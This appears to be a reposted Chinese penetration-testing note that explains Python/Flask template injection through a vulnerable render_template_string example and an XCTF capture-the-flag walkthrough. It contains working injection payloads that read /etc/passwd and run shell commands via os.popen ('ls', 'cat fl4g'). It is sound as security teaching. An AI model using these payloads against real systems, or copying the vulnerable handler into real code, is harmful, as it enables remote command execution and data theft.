
[渗透笔记][模板注入]python模板注入
发布日期:2021-05-07 06:19:22
浏览次数:21
分类:精选文章
本文共 1629 字,大约阅读时间需要 5 分钟。
python的html模板使用
def test(): code = request.args.get('id') html = '''%s
''' % (code) return render_template_string(html)
当我们访问页面的时候,py代码通过requests.args.get来获取’id’的值赋给code,然后生成html,然后render_template_string来渲染网页。
模板注入
就是指 将一串指令代替变量传入模板中让它执行 ,以这段代码为 例,我们在传入code
值时,可以用 { {}}
符号来包裹一系列代码,以此替代本应是参数的 id
得到的效果就是http://..../?id={ {代码}}
测试http://220.249.52.133:44524/{
{2+6}}
返回URL http://220.249.52.133:44524/8 not found
证明2+6被执行了。 接下来就是通过python的系统命令函数来获取信息。控制上面的code,使其等于os.system()\os.popen()
可以使用popen来获取命令执行后的信息。但是render_template_string 的参数是字符串类型,所以就需要找到执行的类。
__class__
返回类型所属的对象
__mro__
返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __base__
返回该对象所继承的基类 // __base__和__mro__
都是用来寻找基类的 __subclasses__
每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表 __init__
类的初始化方法 __globals__
对包含函数全局变量的字典的引用 例题 XCTF web Web_python_template_injection
1 、获取字符串的类对象>>> "".__class__
寻找基类>>> "".__class__.__mro__(, )
寻找可用引用>>> ''.__class__.__mro__[2].__subclasses__()>可以看到有一个``
利用file''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
继续找包含os的模块
for item in ''.__class__.__mro__[2].__subclasses__(): try: if 'os' in item.__init__.__globals__: print num,item num+=1 except: print '-' num+=1找到:71
构造payload
{ {''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{
{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
也可以通过用
{ {''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
{
{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}